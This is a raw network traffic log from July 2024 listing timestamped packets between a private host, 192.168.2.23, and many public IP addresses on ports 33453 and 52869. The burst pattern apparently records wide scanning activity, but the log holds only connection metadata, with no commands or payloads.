Jul 20, 2024 23:00:56.803672075 CEST	33453	52869	192.168.2.23	135.23.236.194
Jul 20, 2024 23:00:56.803672075 CEST	33453	52869	192.168.2.23	70.239.61.12
Jul 20, 2024 23:00:56.803672075 CEST	33453	52869	192.168.2.23	4.194.116.48
Jul 20, 2024 23:00:56.803672075 CEST	33453	52869	192.168.2.23	144.0.5.154
Jul 20, 2024 23:00:56.803672075 CEST	33453	52869	192.168.2.23	132.86.136.162
Jul 20, 2024 23:00:56.803672075 CEST	33453	52869	192.168.2.23	196.57.233.80
Jul 20, 2024 23:00:56.803733110 CEST	33453	52869	192.168.2.23	108.255.148.142
Jul 20, 2024 23:00:56.803733110 CEST	33453	52869	192.168.2.23	186.216.18.48
Jul 20, 2024 23:00:56.803733110 CEST	33453	52869	192.168.2.23	158.84.96.7
Jul 20, 2024 23:00:56.803733110 CEST	33453	52869	192.168.2.23	210.94.219.209
Jul 20, 2024 23:00:56.803734064 CEST	33453	52869	192.168.2.23	67.174.42.17
Jul 20, 2024 23:00:56.803734064 CEST	33453	52869	192.168.2.23	195.187.213.25
Jul 20, 2024 23:00:56.803734064 CEST	33453	52869	192.168.2.23	186.155.6.54
Jul 20, 2024 23:00:56.803734064 CEST	33453	52869	192.168.2.23	174.76.173.185
Jul 20, 2024 23:00:56.803852081 CEST	52869	33453	191.44.19.61	192.168.2.23
Jul 20, 2024 23:00:56.803868055 CEST	52869	33453	108.54.99.241	192.168.2.23
Jul 20, 2024 23:00:56.803883076 CEST	52869	33453	172.182.136.187	192.168.2.23
Jul 20, 2024 23:00:56.803896904 CEST	52869	33453	113.40.116.78	192.168.2.23
Jul 20, 2024 23:00:56.803913116 CEST	52869	33453	77.126.156.115	192.168.2.23
Jul 20, 2024 23:00:56.803927898 CEST	52869	33453	162.201.27.230	192.168.2.23
Jul 20, 2024 23:00:56.803942919 CEST	52869	33453	202.237.97.195	192.168.2.23
Jul 20, 2024 23:00:56.803956985 CEST	52869	33453	209.203.216.40	192.168.2.23
Jul 20, 2024 23:00:56.803972006 CEST	52869	33453	25.124.255.104	192.168.2.23
Jul 20, 2024 23:00:56.803987026 CEST	52869	33453	211.253.28.179	192.168.2.23
Jul 20, 2024 23:00:56.804002047 CEST	52869	33453	18.116.182.133	192.168.2.23
Jul 20, 2024 23:00:56.804017067 CEST	52869	33453	64.24.1.179	192.168.2.23
Jul 20, 2024 23:00:56.804033041 CEST	52869	33453	105.213.231.10	192.168.2.23
Jul 20, 2024 23:00:56.804048061 CEST	52869	33453	69.165.1.148	192.168.2.23
Jul 20, 2024 23:00:56.804063082 CEST	52869	33453	160.229.189.160	192.168.2.23
Jul 20, 2024 23:00:56.804078102 CEST	52869	33453	37.105.220.79	192.168.2.23
Jul 20, 2024 23:00:56.804092884 CEST	52869	33453	23.26.1.109	192.168.2.23
Jul 20, 2024 23:00:56.804107904 CEST	52869	33453	212.166.221.167	192.168.2.23
Jul 20, 2024 23:00:56.804121971 CEST	52869	33453	47.103.27.14	192.168.2.23
Jul 20, 2024 23:00:56.804136992 CEST	52869	33453	121.86.27.200	192.168.2.23
Jul 20, 2024 23:00:56.804152012 CEST	52869	33453	60.6.73.95	192.168.2.23
Jul 20, 2024 23:00:56.804167032 CEST	52869	33453	48.219.106.59	192.168.2.23
Jul 20, 2024 23:00:56.804183960 CEST	52869	33453	14.226.136.243	192.168.2.23
Jul 20, 2024 23:00:56.804200888 CEST	52869	33453	62.195.162.198	192.168.2.23
Jul 20, 2024 23:00:56.804215908 CEST	52869	33453	115.94.137.205	192.168.2.23
Jul 20, 2024 23:00:56.804220915 CEST	33453	52869	192.168.2.23	151.197.186.44
Jul 20, 2024 23:00:56.804220915 CEST	33453	52869	192.168.2.23	162.88.127.3
Jul 20, 2024 23:00:56.804220915 CEST	33453	52869	192.168.2.23	75.162.95.182
Jul 20, 2024 23:00:56.804222107 CEST	33453	52869	192.168.2.23	31.214.49.59
Jul 20, 2024 23:00:56.804222107 CEST	33453	52869	192.168.2.23	187.114.45.6
Jul 20, 2024 23:00:56.804222107 CEST	33453	52869	192.168.2.23	18.129.146.133
Jul 20, 2024 23:00:56.804222107 CEST	33453	52869	192.168.2.23	116.193.28.184
Jul 20, 2024 23:00:56.804222107 CEST	33453	52869	192.168.2.23	179.31.48.245
Jul 20, 2024 23:00:56.804230928 CEST	52869	33453	74.99.102.89	192.168.2.23
Jul 20, 2024 23:00:56.804244995 CEST	52869	33453	126.173.180.3	192.168.2.23
Jul 20, 2024 23:00:56.804260015 CEST	52869	33453	19.103.22.108	192.168.2.23
Jul 20, 2024 23:00:56.804275036 CEST	52869	33453	207.249.254.88	192.168.2.23
Jul 20, 2024 23:00:56.804289103 CEST	52869	33453	97.104.103.193	192.168.2.23
Jul 20, 2024 23:00:56.804303885 CEST	52869	33453	198.210.153.155	192.168.2.23
Jul 20, 2024 23:00:56.804317951 CEST	52869	33453	23.94.164.15	192.168.2.23
Jul 20, 2024 23:00:56.804332018 CEST	52869	33453	90.201.86.165	192.168.2.23
Jul 20, 2024 23:00:56.804349899 CEST	52869	33453	25.122.80.97	192.168.2.23
Jul 20, 2024 23:00:56.804349899 CEST	33453	52869	192.168.2.23	107.208.110.238
Jul 20, 2024 23:00:56.804349899 CEST	33453	52869	192.168.2.23	147.69.83.159
Jul 20, 2024 23:00:56.804349899 CEST	33453	52869	192.168.2.23	71.0.169.127
Jul 20, 2024 23:00:56.804349899 CEST	33453	52869	192.168.2.23	219.98.173.195
Jul 20, 2024 23:00:56.804349899 CEST	33453	52869	192.168.2.23	62.55.64.143
Jul 20, 2024 23:00:56.804351091 CEST	33453	52869	192.168.2.23	141.147.150.132
Jul 20, 2024 23:00:56.804351091 CEST	33453	52869	192.168.2.23	180.72.76.133
Jul 20, 2024 23:00:56.804351091 CEST	33453	52869	192.168.2.23	151.127.224.207
Jul 20, 2024 23:00:56.804364920 CEST	52869	33453	71.247.149.70	192.168.2.23
Jul 20, 2024 23:00:56.804378986 CEST	52869	33453	85.154.235.21	192.168.2.23
Jul 20, 2024 23:00:56.804394007 CEST	52869	33453	84.48.138.55	192.168.2.23
Jul 20, 2024 23:00:56.804409027 CEST	52869	33453	51.55.245.239	192.168.2.23
Jul 20, 2024 23:00:56.804423094 CEST	52869	33453	34.169.6.46	192.168.2.23
Jul 20, 2024 23:00:56.804438114 CEST	52869	33453	45.235.55.33	192.168.2.23
Jul 20, 2024 23:00:56.804714918 CEST	33453	52869	192.168.2.23	148.111.135.210
Jul 20, 2024 23:00:56.804714918 CEST	33453	52869	192.168.2.23	71.190.123.243
Jul 20, 2024 23:00:56.804714918 CEST	33453	52869	192.168.2.23	39.232.72.49
Jul 20, 2024 23:00:56.804714918 CEST	33453	52869	192.168.2.23	83.250.254.40
Jul 20, 2024 23:00:56.804714918 CEST	33453	52869	192.168.2.23	148.94.230.112
Jul 20, 2024 23:00:56.804714918 CEST	33453	52869	192.168.2.23	180.166.121.95
Jul 20, 2024 23:00:56.804714918 CEST	33453	52869	192.168.2.23	170.64.72.13
Jul 20, 2024 23:00:56.804714918 CEST	33453	52869	192.168.2.23	69.71.161.160
Jul 20, 2024 23:00:56.805198908 CEST	33453	52869	192.168.2.23	189.75.86.189
Jul 20, 2024 23:00:56.805198908 CEST	33453	52869	192.168.2.23	47.237.197.200
Jul 20, 2024 23:00:56.805198908 CEST	33453	52869	192.168.2.23	114.57.93.253
Jul 20, 2024 23:00:56.805198908 CEST	33453	52869	192.168.2.23	27.130.132.139
Jul 20, 2024 23:00:56.805198908 CEST	33453	52869	192.168.2.23	207.30.132.8
Jul 20, 2024 23:00:56.805198908 CEST	33453	52869	192.168.2.23	162.220.3.30
Jul 20, 2024 23:00:56.805198908 CEST	33453	52869	192.168.2.23	57.53.163.73
Jul 20, 2024 23:00:56.805198908 CEST	33453	52869	192.168.2.23	19.11.33.252
Jul 20, 2024 23:00:56.805316925 CEST	33453	52869	192.168.2.23	181.219.175.178
Jul 20, 2024 23:00:56.805316925 CEST	33453	52869	192.168.2.23	146.210.17.240
Jul 20, 2024 23:00:56.805316925 CEST	33453	52869	192.168.2.23	166.7.60.196
Jul 20, 2024 23:00:56.805316925 CEST	33453	52869	192.168.2.23	177.27.5.34
Jul 20, 2024 23:00:56.805316925 CEST	33453	52869	192.168.2.23	64.86.139.164
Jul 20, 2024 23:00:56.805316925 CEST	33453	52869	192.168.2.23	128.89.159.185
Jul 20, 2024 23:00:56.805316925 CEST	33453	52869	192.168.2.23	111.252.253.89
Jul 20, 2024 23:00:56.805316925 CEST	33453	52869	192.168.2.23	93.10.103.253
Jul 20, 2024 23:00:56.805985928 CEST	33453	52869	192.168.2.23	163.67.4.87
Jul 20, 2024 23:00:56.805985928 CEST	33453	52869	192.168.2.23	205.83.242.63
Jul 20, 2024 23:00:56.805985928 CEST	33453	52869	192.168.2.23	109.222.42.16
Jul 20, 2024 23:00:56.805985928 CEST	33453	52869	192.168.2.23	179.212.46.232
Jul 20, 2024 23:00:56.805985928 CEST	33453	52869	192.168.2.23	146.52.202.172
Jul 20, 2024 23:00:56.805985928 CEST	33453	52869	192.168.2.23	49.93.141.76
Jul 20, 2024 23:00:56.805986881 CEST	33453	52869	192.168.2.23	82.208.56.11
Jul 20, 2024 23:00:56.805986881 CEST	33453	52869	192.168.2.23	69.213.159.108
Jul 20, 2024 23:00:56.806282043 CEST	33453	52869	192.168.2.23	12.55.180.198
Jul 20, 2024 23:00:56.806282043 CEST	33453	52869	192.168.2.23	133.66.91.121
Jul 20, 2024 23:00:56.806282043 CEST	33453	52869	192.168.2.23	131.199.217.59
Jul 20, 2024 23:00:56.806282043 CEST	33453	52869	192.168.2.23	5.1.90.206
Jul 20, 2024 23:00:56.806282043 CEST	33453	52869	192.168.2.23	9.91.73.111
Jul 20, 2024 23:00:56.806282043 CEST	33453	52869	192.168.2.23	188.92.250.125
Jul 20, 2024 23:00:56.806282043 CEST	33453	52869	192.168.2.23	206.208.92.27
Jul 20, 2024 23:00:56.806282043 CEST	33453	52869	192.168.2.23	190.124.94.237
Jul 20, 2024 23:00:56.806318998 CEST	33453	52869	192.168.2.23	13.234.97.254
Jul 20, 2024 23:00:56.806318998 CEST	33453	52869	192.168.2.23	147.9.149.129
Jul 20, 2024 23:00:56.806318998 CEST	33453	52869	192.168.2.23	80.2.143.109
Jul 20, 2024 23:00:56.806318998 CEST	33453	52869	192.168.2.23	125.76.171.252
Jul 20, 2024 23:00:56.806318998 CEST	33453	52869	192.168.2.23	142.52.69.246
Jul 20, 2024 23:00:56.806318998 CEST	33453	52869	192.168.2.23	154.11.34.104
Jul 20, 2024 23:00:56.806318998 CEST	33453	52869	192.168.2.23	132.198.221.150
Jul 20, 2024 23:00:56.806318998 CEST	33453	52869	192.168.2.23	58.30.6.229
Jul 20, 2024 23:00:56.806428909 CEST	52869	33453	46.137.15.141	192.168.2.23
Jul 20, 2024 23:00:56.806444883 CEST	52869	33453	221.16.164.45	192.168.2.23
Jul 20, 2024 23:00:56.806461096 CEST	52869	33453	172.100.167.166	192.168.2.23
Jul 20, 2024 23:00:56.806476116 CEST	52869	33453	19.136.197.44	192.168.2.23
Jul 20, 2024 23:00:56.806490898 CEST	52869	33453	106.11.102.215	192.168.2.23
Jul 20, 2024 23:00:56.806505919 CEST	52869	33453	70.252.130.105	192.168.2.23
Jul 20, 2024 23:00:56.806520939 CEST	52869	33453	75.125.26.246	192.168.2.23
Jul 20, 2024 23:00:56.806535959 CEST	52869	33453	194.240.255.26	192.168.2.23
Jul 20, 2024 23:00:56.806550980 CEST	52869	33453	105.15.146.5	192.168.2.23
Jul 20, 2024 23:00:56.806566000 CEST	52869	33453	136.124.27.158	192.168.2.23
Jul 20, 2024 23:00:56.806581974 CEST	52869	33453	104.243.16.216	192.168.2.23
Jul 20, 2024 23:00:56.806596041 CEST	52869	33453	133.33.174.150	192.168.2.23
Jul 20, 2024 23:00:56.806611061 CEST	52869	33453	41.246.66.74	192.168.2.23
Jul 20, 2024 23:00:56.806612015 CEST	33453	52869	192.168.2.23	168.219.235.176
Jul 20, 2024 23:00:56.806612015 CEST	33453	52869	192.168.2.23	76.118.156.59
Jul 20, 2024 23:00:56.806612015 CEST	33453	52869	192.168.2.23	139.57.235.97
Jul 20, 2024 23:00:56.806612015 CEST	33453	52869	192.168.2.23	69.71.238.165
Jul 20, 2024 23:00:56.806612015 CEST	33453	52869	192.168.2.23	209.155.228.1
Jul 20, 2024 23:00:56.806612015 CEST	33453	52869	192.168.2.23	222.128.222.38
Jul 20, 2024 23:00:56.806612015 CEST	33453	52869	192.168.2.23	58.74.148.95
Jul 20, 2024 23:00:56.806612015 CEST	33453	52869	192.168.2.23	53.10.119.110
Jul 20, 2024 23:00:56.806624889 CEST	52869	33453	80.212.80.0	192.168.2.23
Jul 20, 2024 23:00:56.806639910 CEST	52869	33453	139.132.75.248	192.168.2.23
Jul 20, 2024 23:00:56.806654930 CEST	52869	33453	50.26.250.85	192.168.2.23
Jul 20, 2024 23:00:56.806669950 CEST	52869	33453	171.94.228.238	192.168.2.23
Jul 20, 2024 23:00:56.806685925 CEST	52869	33453	134.205.178.69	192.168.2.23
Jul 20, 2024 23:00:56.806700945 CEST	52869	33453	158.253.21.219	192.168.2.23
Jul 20, 2024 23:00:56.806716919 CEST	52869	33453	12.48.25.211	192.168.2.23
Jul 20, 2024 23:00:56.806731939 CEST	52869	33453	73.127.100.14	192.168.2.23
Jul 20, 2024 23:00:56.806746960 CEST	52869	33453	216.160.218.9	192.168.2.23
Jul 20, 2024 23:00:56.806762934 CEST	52869	33453	58.2.245.96	192.168.2.23
Jul 20, 2024 23:00:56.806780100 CEST	52869	33453	62.3.210.209	192.168.2.23
Jul 20, 2024 23:00:56.806796074 CEST	52869	33453	104.121.16.52	192.168.2.23
Jul 20, 2024 23:00:56.806809902 CEST	52869	33453	177.208.130.230	192.168.2.23
Jul 20, 2024 23:00:56.806826115 CEST	52869	33453	217.193.12.14	192.168.2.23
Jul 20, 2024 23:00:56.806840897 CEST	52869	33453	43.7.133.23	192.168.2.23
Jul 20, 2024 23:00:56.806855917 CEST	52869	33453	63.153.201.75	192.168.2.23
Jul 20, 2024 23:00:56.806869984 CEST	52869	33453	117.185.87.24	192.168.2.23
Jul 20, 2024 23:00:56.806885004 CEST	52869	33453	182.94.91.241	192.168.2.23
Jul 20, 2024 23:00:56.806895971 CEST	33453	52869	192.168.2.23	159.138.61.45
Jul 20, 2024 23:00:56.806895971 CEST	33453	52869	192.168.2.23	174.34.249.225
Jul 20, 2024 23:00:56.806895971 CEST	33453	52869	192.168.2.23	171.24.183.17
Jul 20, 2024 23:00:56.806895971 CEST	33453	52869	192.168.2.23	106.17.68.31
Jul 20, 2024 23:00:56.806895971 CEST	33453	52869	192.168.2.23	111.101.192.140
Jul 20, 2024 23:00:56.806895971 CEST	33453	52869	192.168.2.23	88.141.60.34
Jul 20, 2024 23:00:56.806895971 CEST	33453	52869	192.168.2.23	77.5.21.229
Jul 20, 2024 23:00:56.806895971 CEST	33453	52869	192.168.2.23	201.140.4.49
Jul 20, 2024 23:00:56.806900978 CEST	52869	33453	189.179.60.205	192.168.2.23
Jul 20, 2024 23:00:56.806916952 CEST	52869	33453	36.99.62.218	192.168.2.23
Jul 20, 2024 23:00:56.806931973 CEST	52869	33453	90.130.84.199	192.168.2.23
Jul 20, 2024 23:00:56.806947947 CEST	52869	33453	115.5.101.200	192.168.2.23
Jul 20, 2024 23:00:56.806962967 CEST	52869	33453	78.234.136.143	192.168.2.23
Jul 20, 2024 23:00:56.806977987 CEST	52869	33453	64.131.169.240	192.168.2.23
Jul 20, 2024 23:00:56.806993961 CEST	52869	33453	116.185.253.86	192.168.2.23
Jul 20, 2024 23:00:56.807008028 CEST	52869	33453	193.6.241.199	192.168.2.23
Jul 20, 2024 23:00:56.807023048 CEST	52869	33453	18.244.35.206	192.168.2.23
Jul 20, 2024 23:00:56.807389021 CEST	33453	52869	192.168.2.23	186.129.229.179
Jul 20, 2024 23:00:56.807389975 CEST	33453	52869	192.168.2.23	167.134.108.32
Jul 20, 2024 23:00:56.807389975 CEST	33453	52869	192.168.2.23	104.75.200.235
Jul 20, 2024 23:00:56.807389975 CEST	33453	52869	192.168.2.23	86.219.42.227
Jul 20, 2024 23:00:56.807389975 CEST	33453	52869	192.168.2.23	103.179.244.2
Jul 20, 2024 23:00:56.807389975 CEST	33453	52869	192.168.2.23	169.234.116.220
Jul 20, 2024 23:00:56.807389975 CEST	33453	52869	192.168.2.23	158.128.170.22
Jul 20, 2024 23:00:56.807389975 CEST	33453	52869	192.168.2.23	19.254.84.163
Jul 20, 2024 23:00:56.807429075 CEST	33453	52869	192.168.2.23	147.61.50.49
Jul 20, 2024 23:00:56.807429075 CEST	33453	52869	192.168.2.23	211.130.231.62
Jul 20, 2024 23:00:56.807429075 CEST	33453	52869	192.168.2.23	70.225.119.3
Jul 20, 2024 23:00:56.807429075 CEST	33453	52869	192.168.2.23	142.34.184.106
Jul 20, 2024 23:00:56.807429075 CEST	33453	52869	192.168.2.23	190.3.185.248
Jul 20, 2024 23:00:56.807429075 CEST	33453	52869	192.168.2.23	196.26.250.145
Jul 20, 2024 23:00:56.807429075 CEST	33453	52869	192.168.2.23	1.79.229.162
Jul 20, 2024 23:00:56.807429075 CEST	33453	52869	192.168.2.23	150.140.115.237
Jul 20, 2024 23:00:56.808295965 CEST	33453	52869	192.168.2.23	152.90.112.51
Jul 20, 2024 23:00:56.808295965 CEST	33453	52869	192.168.2.23	13.21.178.206
Jul 20, 2024 23:00:56.808295965 CEST	33453	52869	192.168.2.23	211.14.73.80
Jul 20, 2024 23:00:56.808295965 CEST	33453	52869	192.168.2.23	92.162.129.76
Jul 20, 2024 23:00:56.808295965 CEST	33453	52869	192.168.2.23	114.180.89.73
Jul 20, 2024 23:00:56.808295965 CEST	33453	52869	192.168.2.23	58.187.153.16
Jul 20, 2024 23:00:56.808295965 CEST	33453	52869	192.168.2.23	92.211.102.55
Jul 20, 2024 23:00:56.808295965 CEST	33453	52869	192.168.2.23	34.47.174.29
Jul 20, 2024 23:00:56.808362007 CEST	33453	52869	192.168.2.23	90.243.193.156
Jul 20, 2024 23:00:56.808362007 CEST	33453	52869	192.168.2.23	155.42.58.223
Jul 20, 2024 23:00:56.808362007 CEST	33453	52869	192.168.2.23	60.63.234.192
Jul 20, 2024 23:00:56.808362007 CEST	33453	52869	192.168.2.23	25.222.248.206
Jul 20, 2024 23:00:56.808362007 CEST	33453	52869	192.168.2.23	49.39.36.55
Jul 20, 2024 23:00:56.808362007 CEST	33453	52869	192.168.2.23	86.86.67.253
Jul 20, 2024 23:00:56.808362007 CEST	33453	52869	192.168.2.23	98.176.193.82
Jul 20, 2024 23:00:56.808362007 CEST	33453	52869	192.168.2.23	14.23.231.227
Jul 20, 2024 23:00:56.808433056 CEST	33453	52869	192.168.2.23	65.187.134.17
Jul 20, 2024 23:00:56.808433056 CEST	33453	52869	192.168.2.23	68.66.59.187
Jul 20, 2024 23:00:56.808433056 CEST	33453	52869	192.168.2.23	147.160.118.204
Jul 20, 2024 23:00:56.808433056 CEST	33453	52869	192.168.2.23	1.108.244.147
Jul 20, 2024 23:00:56.808433056 CEST	33453	52869	192.168.2.23	151.51.122.130
Jul 20, 2024 23:00:56.808433056 CEST	33453	52869	192.168.2.23	74.49.118.25
Jul 20, 2024 23:00:56.808433056 CEST	33453	52869	192.168.2.23	148.2.182.221
Jul 20, 2024 23:00:56.808433056 CEST	33453	52869	192.168.2.23	66.44.96.233
Jul 20, 2024 23:00:56.808505058 CEST	33453	52869	192.168.2.23	37.248.83.223
Jul 20, 2024 23:00:56.808505058 CEST	33453	52869	192.168.2.23	71.156.248.170
Jul 20, 2024 23:00:56.808505058 CEST	33453	52869	192.168.2.23	31.80.229.91
Jul 20, 2024 23:00:56.808505058 CEST	33453	52869	192.168.2.23	97.233.70.242
Jul 20, 2024 23:00:56.808505058 CEST	33453	52869	192.168.2.23	123.1.154.33
Jul 20, 2024 23:00:56.808505058 CEST	33453	52869	192.168.2.23	168.73.64.175
Jul 20, 2024 23:00:56.808505058 CEST	33453	52869	192.168.2.23	104.151.210.242
Jul 20, 2024 23:00:56.808505058 CEST	33453	52869	192.168.2.23	35.181.241.197
Jul 20, 2024 23:00:56.808567047 CEST	33453	52869	192.168.2.23	73.241.49.233
Jul 20, 2024 23:00:56.808567047 CEST	33453	52869	192.168.2.23	192.28.102.96
Jul 20, 2024 23:00:56.808567047 CEST	33453	52869	192.168.2.23	170.172.36.22
Jul 20, 2024 23:00:56.808567047 CEST	33453	52869	192.168.2.23	84.224.134.220
Jul 20, 2024 23:00:56.808567047 CEST	33453	52869	192.168.2.23	154.189.238.8
Jul 20, 2024 23:00:56.808567047 CEST	33453	52869	192.168.2.23	115.139.249.139
Jul 20, 2024 23:00:56.808567047 CEST	33453	52869	192.168.2.23	136.90.95.3
Jul 20, 2024 23:00:56.808593035 CEST	52869	33453	187.245.82.2	192.168.2.23
Jul 20, 2024 23:00:56.808613062 CEST	52869	33453	189.98.80.10	192.168.2.23
Jul 20, 2024 23:00:56.808626890 CEST	52869	33453	188.183.152.97	192.168.2.23
Jul 20, 2024 23:00:56.808641911 CEST	52869	33453	177.227.95.196	192.168.2.23
Jul 20, 2024 23:00:56.808655977 CEST	52869	33453	187.120.59.233	192.168.2.23
Jul 20, 2024 23:00:56.808671951 CEST	52869	33453	106.128.22.52	192.168.2.23
Jul 20, 2024 23:00:56.808686972 CEST	52869	33453	57.2.87.122	192.168.2.23
Jul 20, 2024 23:00:56.808701038 CEST	52869	33453	31.65.4.109	192.168.2.23
Jul 20, 2024 23:00:56.808715105 CEST	52869	33453	2.215.40.177	192.168.2.23
Jul 20, 2024 23:00:56.808729887 CEST	52869	33453	90.237.47.19	192.168.2.23
Jul 20, 2024 23:00:56.808744907 CEST	52869	33453	88.51.146.50	192.168.2.23
Jul 20, 2024 23:00:56.808758974 CEST	52869	33453	64.20.42.143	192.168.2.23
Jul 20, 2024 23:00:56.808773041 CEST	52869	33453	199.233.175.173	192.168.2.23
Jul 20, 2024 23:00:56.808788061 CEST	52869	33453	138.64.73.227	192.168.2.23
Jul 20, 2024 23:00:56.808804035 CEST	52869	33453	123.194.193.8	192.168.2.23
Jul 20, 2024 23:00:56.808818102 CEST	52869	33453	190.2.221.39	192.168.2.23
Jul 20, 2024 23:00:56.808832884 CEST	52869	33453	181.18.243.86	192.168.2.23
Jul 20, 2024 23:00:56.808847904 CEST	52869	33453	171.226.178.251	192.168.2.23
Jul 20, 2024 23:00:56.808862925 CEST	52869	33453	52.83.93.8	192.168.2.23
Jul 20, 2024 23:00:56.808877945 CEST	52869	33453	42.183.79.62	192.168.2.23
Jul 20, 2024 23:00:56.808892965 CEST	52869	33453	177.15.155.26	192.168.2.23
Jul 20, 2024 23:00:56.808907032 CEST	52869	33453	12.25.156.177	192.168.2.23
Jul 20, 2024 23:00:56.808922052 CEST	52869	33453	76.70.56.60	192.168.2.23
Jul 20, 2024 23:00:56.809389114 CEST	33453	52869	192.168.2.23	204.78.54.231
Jul 20, 2024 23:00:56.809389114 CEST	33453	52869	192.168.2.23	95.158.231.23
Jul 20, 2024 23:00:56.809389114 CEST	33453	52869	192.168.2.23	195.130.128.184
Jul 20, 2024 23:00:56.809389114 CEST	33453	52869	192.168.2.23	213.171.145.125
Jul 20, 2024 23:00:56.809389114 CEST	33453	52869	192.168.2.23	193.94.235.184
Jul 20, 2024 23:00:56.809389114 CEST	33453	52869	192.168.2.23	170.84.59.241
Jul 20, 2024 23:00:56.809389114 CEST	33453	52869	192.168.2.23	5.61.211.49
Jul 20, 2024 23:00:56.809389114 CEST	33453	52869	192.168.2.23	123.49.75.211
Jul 20, 2024 23:00:56.809727907 CEST	33453	52869	192.168.2.23	148.5.137.148
Jul 20, 2024 23:00:56.809727907 CEST	33453	52869	192.168.2.23	125.1.121.176
Jul 20, 2024 23:00:56.809727907 CEST	33453	52869	192.168.2.23	113.109.249.191
Jul 20, 2024 23:00:56.809727907 CEST	33453	52869	192.168.2.23	174.33.178.96
Jul 20, 2024 23:00:56.809727907 CEST	33453	52869	192.168.2.23	154.55.15.143
Jul 20, 2024 23:00:56.809727907 CEST	33453	52869	192.168.2.23	78.12.26.89
Jul 20, 2024 23:00:56.809727907 CEST	33453	52869	192.168.2.23	131.241.199.180
Jul 20, 2024 23:00:56.809727907 CEST	33453	52869	192.168.2.23	115.67.107.201
Jul 20, 2024 23:00:56.809760094 CEST	33453	52869	192.168.2.23	155.22.90.90
Jul 20, 2024 23:00:56.809760094 CEST	33453	52869	192.168.2.23	184.77.18.239
Jul 20, 2024 23:00:56.809760094 CEST	33453	52869	192.168.2.23	186.40.176.32
Jul 20, 2024 23:00:56.809760094 CEST	33453	52869	192.168.2.23	155.161.137.123
Jul 20, 2024 23:00:56.809760094 CEST	33453	52869	192.168.2.23	185.31.200.232
Jul 20, 2024 23:00:56.809760094 CEST	33453	52869	192.168.2.23	153.94.71.254
Jul 20, 2024 23:00:56.809760094 CEST	33453	52869	192.168.2.23	180.155.132.167
Jul 20, 2024 23:00:56.809760094 CEST	33453	52869	192.168.2.23	8.185.133.62
Jul 20, 2024 23:00:56.809792995 CEST	33453	52869	192.168.2.23	137.230.50.87
Jul 20, 2024 23:00:56.809792995 CEST	33453	52869	192.168.2.23	208.98.113.85
Jul 20, 2024 23:00:56.809792995 CEST	33453	52869	192.168.2.23	19.135.230.178
Jul 20, 2024 23:00:56.809792995 CEST	33453	52869	192.168.2.23	72.249.234.206
Jul 20, 2024 23:00:56.809792995 CEST	33453	52869	192.168.2.23	91.207.18.148
Jul 20, 2024 23:00:56.809792995 CEST	33453	52869	192.168.2.23	164.150.49.222
Jul 20, 2024 23:00:56.809792995 CEST	33453	52869	192.168.2.23	190.2.223.191
Jul 20, 2024 23:00:56.809792995 CEST	33453	52869	192.168.2.23	204.127.192.204
Jul 20, 2024 23:00:56.810419083 CEST	33453	52869	192.168.2.23	8.8.5.44
Jul 20, 2024 23:00:56.810419083 CEST	33453	52869	192.168.2.23	145.48.36.24
Jul 20, 2024 23:00:56.810419083 CEST	33453	52869	192.168.2.23	103.39.249.170
Jul 20, 2024 23:00:56.810419083 CEST	33453	52869	192.168.2.23	178.60.137.139
Jul 20, 2024 23:00:56.810419083 CEST	33453	52869	192.168.2.23	125.2.68.242
Jul 20, 2024 23:00:56.810419083 CEST	33453	52869	192.168.2.23	180.150.47.36
Jul 20, 2024 23:00:56.810419083 CEST	33453	52869	192.168.2.23	121.40.230.244
Jul 20, 2024 23:00:56.810419083 CEST	33453	52869	192.168.2.23	60.216.222.240
Jul 20, 2024 23:00:56.810645103 CEST	33453	52869	192.168.2.23	113.96.55.65
Jul 20, 2024 23:00:56.810645103 CEST	33453	52869	192.168.2.23	178.197.107.190
Jul 20, 2024 23:00:56.810645103 CEST	33453	52869	192.168.2.23	20.96.146.124
Jul 20, 2024 23:00:56.810645103 CEST	33453	52869	192.168.2.23	132.113.228.25
Jul 20, 2024 23:00:56.810645103 CEST	33453	52869	192.168.2.23	182.22.206.214
Jul 20, 2024 23:00:56.810645103 CEST	33453	52869	192.168.2.23	188.125.94.207
Jul 20, 2024 23:00:56.810645103 CEST	33453	52869	192.168.2.23	73.63.7.22
Jul 20, 2024 23:00:56.810645103 CEST	33453	52869	192.168.2.23	205.123.120.105
Jul 20, 2024 23:00:56.810703993 CEST	33453	52869	192.168.2.23	156.230.108.50
Jul 20, 2024 23:00:56.810703993 CEST	33453	52869	192.168.2.23	48.250.49.63
Jul 20, 2024 23:00:56.810703993 CEST	33453	52869	192.168.2.23	142.151.185.125
Jul 20, 2024 23:00:56.810703993 CEST	33453	52869	192.168.2.23	94.222.99.15
Jul 20, 2024 23:00:56.810703993 CEST	33453	52869	192.168.2.23	161.172.237.181
Jul 20, 2024 23:00:56.810703993 CEST	33453	52869	192.168.2.23	146.134.162.62
Jul 20, 2024 23:00:56.810703993 CEST	33453	52869	192.168.2.23	2.190.215.74
Jul 20, 2024 23:00:56.810703993 CEST	33453	52869	192.168.2.23	132.162.239.115
Jul 20, 2024 23:00:56.810815096 CEST	33453	52869	192.168.2.23	111.240.159.157
Jul 20, 2024 23:00:56.810815096 CEST	33453	52869	192.168.2.23	147.194.102.88
Jul 20, 2024 23:00:56.810815096 CEST	33453	52869	192.168.2.23	173.38.169.237
Jul 20, 2024 23:00:56.810815096 CEST	33453	52869	192.168.2.23	101.6.6.139
Jul 20, 2024 23:00:56.810815096 CEST	33453	52869	192.168.2.23	69.237.124.200
Jul 20, 2024 23:00:56.810815096 CEST	33453	52869	192.168.2.23	61.35.41.235
Jul 20, 2024 23:00:56.810815096 CEST	33453	52869	192.168.2.23	105.213.231.10
Jul 20, 2024 23:00:56.811048031 CEST	33453	52869	192.168.2.23	144.50.119.201
Jul 20, 2024 23:00:56.811048031 CEST	33453	52869	192.168.2.23	99.185.208.75
Jul 20, 2024 23:00:56.811048031 CEST	33453	52869	192.168.2.23	118.229.110.118
Jul 20, 2024 23:00:56.811048031 CEST	33453	52869	192.168.2.23	82.132.45.241
Jul 20, 2024 23:00:56.811048985 CEST	33453	52869	192.168.2.23	205.185.43.251
Jul 20, 2024 23:00:56.811048985 CEST	33453	52869	192.168.2.23	161.229.11.215
Jul 20, 2024 23:00:56.811048985 CEST	33453	52869	192.168.2.23	196.135.204.148
Jul 20, 2024 23:00:56.811048985 CEST	33453	52869	192.168.2.23	121.102.81.226
Jul 20, 2024 23:00:56.811141968 CEST	52869	33453	153.74.254.48	192.168.2.23
Jul 20, 2024 23:00:56.811141968 CEST	33453	52869	192.168.2.23	70.97.185.112
Jul 20, 2024 23:00:56.811141968 CEST	33453	52869	192.168.2.23	191.44.19.61
